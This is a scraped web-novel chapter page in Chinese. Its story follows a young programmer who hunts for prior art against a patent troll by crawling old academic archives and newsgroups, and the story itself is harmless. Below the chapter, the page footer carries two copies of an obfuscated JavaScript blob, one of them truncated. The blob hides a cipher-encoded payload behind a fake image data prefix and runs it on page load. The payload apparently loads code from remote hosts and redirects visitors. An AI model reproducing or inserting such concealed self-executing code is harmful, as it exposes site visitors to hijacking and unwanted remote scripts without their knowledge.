首页
第六 四八章 信息挖掘
返回
关灯 护眼:关 字号:小

第六 四八章 信息挖掘

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【爱阅】
aiyue365.org,更新快,无弹窗!

    第六四八章信息挖掘(第1/2页)
    沪上星宇科技总部,顶层办公室的晨光透过百叶窗,在深色地毯上切割出明暗相间的条纹。
    空气里残留着昨夜清冷的空气净化剂气息,混合着新煮咖啡的微苦焦香。
    沈墨华站在落地窗前,手里拿着一份刚刚打印出来的、还带着打印机余温的“前案”检索进展报告。
    窗外是苏醒中的城市,黄浦江上晨雾未散,远处陆家嘴的建筑群在薄曦中显出朦胧的轮廓。
    他刚刚结束与硅谷罗伯特团队的加密晨会,对方对那份1999年RTCSA论文的分析初步结果令人鼓舞,认为其确实对“异步事件处理”专利构成了实质性威胁。
    但这仅仅是七项专利中的一项。
    要系统性地、彻底地瓦解TitanTech这个精心编织的专利包围网,需要更广泛、更深入、更无孔不入的“前案”挖掘。
    “烛”系统的自动化检索固然强大,但其算法更偏向于结构化数据和明确关键词的关联。
    面对上世纪九十年代末至二十一世纪初那个互联网档案尚未完善、大量技术思想散落在学术数据库深处、早期技术论坛、邮件列表存档甚至大学实验室个人主页角落的时代,需要一种更灵活、更具备“黑客”思维和“考古”耐心的人力挖掘。
    尤其需要善于从非结构化、杂乱无章的数据碎片中,嗅探出有价值线索的敏锐直觉。
    沈墨华的脑海中,几乎瞬间就锁定了一个最合适的人选。
    他转过身,走回宽大的红木办公桌后坐下,拿起了那部红色的内部专线电话。
    听筒里传来几声规律的等待音,很快被接起,一个带着些许鼻音、显然还没完全清醒的女声传来:“喂?哥?这才几点啊……”
    声音里没有不满,只有被打扰清梦的含糊嘟囔。
    “沈绮。”沈墨华的声音平稳,没有任何寒暄,直接切入主题,“有项紧急任务,需要你的专长。”
    他语速不快,但每个字都清晰有力,瞬间驱散了电话那头的睡意。
    “嗯?什么任务?”沈绮的声音立刻清醒了几分,带着好奇和跃跃欲试。
    她知道,能让表哥在这个时间点亲自打电话过来的,绝不会是小事。
    “德州东区的专利诉讼,你知道。”沈墨华陈述道。
    “知道,妈在家念叨好几回了,说那帮‘专利海盗’太可恶。”沈绮回答得很快,语气里带着对母亲的无奈和对事情本身的关注。
    “我们现在反击的核心策略之一,是寻找‘前案’——证明对方专利在申请日之前,其技术构思就已经被公开披露过。”沈墨华开始解释,语气是他惯常的、向技术人员交代任务时的精准与简练。
    “对方专利多是概念宽泛的‘系统级’专利,申请时间卡在2001到2002年。我们需要挖掘那个时间点之前,全球范围内所有可能相关的公开技术资料。”
    他顿了顿,加重了语气。
    “不仅仅是主流学术数据库的论文。我要的是所有角落:各国大学实验室的技术报告、早期开源项目的邮件列表存档、小众技术会议的会议记录和海报、甚至那个时代活跃的个人技术博客、新闻组讨论……任何可能留下技术思想痕迹的地方。”
    他的描述勾勒出一片浩瀚而杂乱的信息海洋,时间跨度集中在1998年至2002年这个关键技术演进期。
    电话那头沉默了几秒,只能听到轻微的呼吸声。
    沈绮显然在快速消化这个任务的范围和难度。
    然后,她的声音再次响起,之前的睡意完全消失,取而代之的是一种混合着兴奋与挑战欲的明亮音调:“哇哦……这听起来像是全网‘考古’啊。时间久远,数据分散,很多可能还是非结构化的文本甚至图片……”
    她非但没有畏难,反而像发现了新玩具。
    “没问题,哥,这活儿交给我!”她答应得干脆利落,随即问道,“有什么具体方向吗?比如先从哪几项专利或者哪个技术领域入手?”
    “‘烛’已经梳理出初步的检索线索和关键词,我会让唐薇薇把完整的资料包,包括涉案专利的详细权利要求、说明书,以及我们已发现的部分‘前案’样本,加密发到你的安全终端。”沈墨华有条不紊地安排。
    “你的任务是,利用你对全球各大学术数据库、技术档案馆和早期网络社区的熟悉程度,以及你编写信息抓取和筛选工具的能力,进行地毯式、创造性的深度挖掘。”
    他特意强调了“创造性”三个字。
    “目标是找到尽可能多、尽可能有力的‘前案’证据,形成证据链。质量比数量更重要,但覆盖面一定要广。”
    最后,他补充了一句,声音里听不出太多情绪,但了解他的人都明白其中的分量:“这项任务很关键,也很耗时。你需要什么资源,直接向唐薇薇提,包括临时抽调IT部门的人手辅助。优先级调到最高。”
    “明白!”沈绮的声音充满干劲,“放心吧哥,别的我不敢说,挖这种陈年网络数据‘古董’,我最在行了。保证把那些专利的老底翻个底朝天!”
    她似乎已经摩拳擦掌,准备立刻投入战斗。
    “保持沟通,每天至少一次进度简报,发现任何高价值线索随时报告。”沈墨华交代完最后一项,便挂断了电话。
    他不需要过多叮嘱,沈绮在这方面的专业能力和投入程度,他毫不怀疑。
    将这个艰巨而细致的“前案”深度挖掘任务交给她,是最优解。
    ……
    沪上西郊,一处绿树掩映的安静小区。
    这里是沈曼瑜和女儿沈绮的住所,一栋三层高的现代风格别墅。
    此刻,二楼一间朝南的房间被改造成了沈绮的个人工作室兼卧室,与寻常女孩的房间截然不同。
    墙壁是冷调的浅灰色,没有过多装饰,一面墙被巨大的定制书柜占据,里面塞满了计算机科学、数学、密码学方面的专著,以及一些看起来年代久远的会议论文集。
    另一面墙则安装了几块巨大的磁性白板,上面此刻已经画满了错综复杂的思维导图,写着涉案专利的编号、技术关键词、时间线,以及一些待验证的数据库名称和网站地址。
    房间中央是一张超长的L形实木工作台,上面并排摆放着三台大尺寸的高性能显示器,机箱发出低沉而稳定的运行声。
    工作台旁边还有一个可移动的白板架,上面贴着几张打印出来的专利摘要。
    空气中弥漫着淡淡的臭氧味(来自长时间运行的电子设备)、咖啡香,以及一种属于技术空间的、冷静而专注的气息。
    沈绮就坐在这三块屏幕构成的“堡垒”中央。
    她身上套着一件宽大的、印着某个开源操作系统标志的黑色连帽卫衣,下身是舒适的灰色运动裤,长发随意地在脑后扎成一个有些松散的马尾,几缕碎发垂在耳边。
    脸上脂粉未施,眼下有着明显的青黑色阴影,但一双眼睛却亮得惊人,紧紧盯着屏幕上不断滚动的数据和信息流。
    她的右手搭在鼠标上,指尖偶尔快速点击或拖动,左手则放在键盘上,随时准备输入指令或切换窗口。
    (本章未完,请点击下一页继续阅读)第六四八章信息挖掘(第2/2页)
    三块屏幕被她分配了不同的功能。
    最左边的屏幕,同时打开了十几个终端(Terminal)窗口,黑色的背景上跳跃着绿色的命令行文字,那是她自编的分布式爬虫程序正在不同的目标网站上运行,按照她设定的规则,自动抓取和下载特定时间范围内的网页、文档、压缩包。
    有些目标是公开的学术数据库如IEEEXplore、ACMDigitalLibrary、CiteSeerX(那时的版本),有些是大学计算机系的旧版项目存档页面,有些是早已停止更新但服务器仍在运行的早期技术论坛镜像,甚至包括利用WaybackMachine(互联网档案馆)回溯某些可能已消失的个人技术站点。
    中间的屏幕最为繁忙,同时平铺着超过二十个浏览器标签页和应用程序窗口。
    有PDF阅读器打开着刚下载的古老PDF格式论文(扫描质量参差不齐),有纯文本编辑器显示着从邮件列表存档中解析出的讨论串,有她自编的一个语义分析工具界面,正在对抓取到的文本进行预处理、关键词提取和粗糙的相似度计算。
    还有一个Excel表格窗口,实时记录着抓取进度、文件数量、以及初步筛选出的“待深入审查”文献列表及其元数据(标题、作者、来源、日期)。
    屏幕下方,即时通讯软件的窗口不断闪烁,是她与临时抽调来辅助的两名IT部得力下属的沟通窗口,她快速分配着细分检索任务,回答技术问题,同步最新发现。
    右边的屏幕相对“安静”一些,主要用来进行深度分析和比对。
    此时正并排显示着一份TitanTech专利权利要求书的重点段落,和一份刚刚从爬虫结果中筛出的、1998年某欧洲大学实验室的技术报告摘要。
    沈绮的目光在两者之间来回移动,手指在键盘上敲击,在旁边的记事本软件里快速记录着初步的比对笔记:“专利Claim1描述‘动态资源映射表’,报告第3.2节提及‘runtimeresourceallocationbitmap’,概念类似,但报告侧重于实时性,专利泛化为通用移动设备……需进一步查看报告全文,确认细节。”
    她的工作状态极其专注,外界的时间流逝仿佛失去了意义。
    只有屏幕右下角跳动的时钟,和窗外渐渐由明转暗、再由暗转明的天色,提醒着时间的过去。
    咖啡杯在旁边凉了又续,续了又凉。
    旁边小推车上放着家人送进来的三明治和水果,往往只被机械地吃掉几口,就又被遗忘。
    沈曼瑜进来过几次,看着女儿熬得通红的眼睛和全神贯注的背影,欲言又止,最终只是轻轻叹了口气,将温热的牛奶或清淡的汤羹放在桌角,又默默退出去,带上门。
    沈绮完全沉浸在了这场信息的深海捕猎中。
    她享受这种挑战,享受用代码和逻辑工具去梳理历史数据迷雾的过程。
    每当爬虫程序从一个尘封的角落抓取到一份年代久远但主题相关的技术报告,或者她的语义分析工具从一段晦涩的邮件讨论中识别出与专利关键词高度关联的片段时,一种发现“宝藏”的兴奋感就会冲淡身体的疲惫。
    她知道,自己正在挖掘的,可能是决定这场跨国诉讼走向的关键砖石。
    这种参与感,以及帮助表哥应对难关的决心,驱动着她忽略身体的抗议。
    “绮姐,MIT媒体实验室2000年度的内部技术研讨会摘要合集抓下来了,里面有几个session主题好像涉及‘上下文感知’和‘轻量级服务框架’,可能和专利D有关。”
    即时通讯窗口弹出下属的消息。
    “好,把文件传过来,我看看。”沈绮迅速回复,同时在一个新的浏览器标签页中打开了对方共享过来的文件压缩包。
    她的眼睛快速扫过目录,锁定相关章节。
    枯燥的技术描述在她眼中如同等待解密的线索。
    另一条指令被她输入到中间屏幕的终端窗口,调整着某个爬虫的参数,让它更深入地挖掘一个名为“comp.arch.embedded”的古老新闻组在1999年至2001年间的存档。
    那里曾经是嵌入式系统硬件和软件架构师们激烈辩论的广场,无数超前的想法和粗糙的实现方案在那里被提出、讨论、质疑。
    虽然信息噪音极大,但也是寻找“前案”灵感不可忽视的矿藏。
    时间在敲击键盘声、鼠标点击声和屏幕光标的闪烁中悄然滑过深夜。
    沈绮的眼睛酸涩发胀,她滴了几滴眼药水,用力眨了眨眼,视线重新聚焦。
    突然,中间屏幕上她自编的语义分析工具弹出一个高亮提示框,并发出一声轻微的提示音。
    工具对一个刚从某个东欧大学FTP服务器镜像中抓取到的、2001年初的“分布式计算课程项目报告”合集进行了扫描,在其中一份关于“移动Agent通信原语”的期末项目报告中,标记出了一段描述。
    工具给出的关联度评分达到了82分(满分100),关联的专利是TitanTech主张的另一项关于“跨进程通信中间件抽象层”的专利。
    沈绮立刻点开提示框,查看详情。
    工具将报告中的一段文字与专利权利要求中的对应描述进行了并排显示,并用颜色标出了相似的术语和逻辑结构。
    报告中的描述虽然略显稚嫩和学院派,但清晰阐述了一种用于异构移动节点间通信的“抽象消息通道”设计,包括通道建立、消息封装、异步传输和基本错误处理机制。
    而专利中的描述,则将其包装得更加“系统化”和“商业化”,但核心的抽象层次和通信模型,显示出惊人的一致性。
    更重要的是,这份课程报告的完成日期是2001年5月,而TitanTech对应专利的申请日是2002年1月。
    “又一个……”沈绮低声自语,嘴角难以抑制地向上弯起,尽管眼睛依然布满血丝。
    她迅速将这份报告标记为高价值潜在“前案”,记录下详细出处和比对要点,并将其加入了需要进一步人工精细比对的优先队列。
    疲惫感似乎被这个发现驱散了些许。
    她知道,像这样的碎片可能还有很多,埋藏在世界各个网络的角落里。
    她的任务就是将它们一一挖掘出来,清洗、整理、分析,最终拼凑成足以刺穿对方专利壁垒的利器。
    她活动了一下有些僵硬的脖颈,发出轻微的“咔哒”声,重新将注意力投入眼前浩瀚的数据海洋。
    屏幕的冷光映照着她年轻而专注的脸庞,那上面有熬夜的痕迹,更有一种找到目标的执着光芒。
    三块屏幕上,数十个窗口依旧在不停地刷新、运行、提示,如同她延伸向历史数据深处的无数触角,不知疲倦地搜寻着那一线线微光,决心为远在诉讼战场前线的表哥,提供最坚实的弹药支援。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 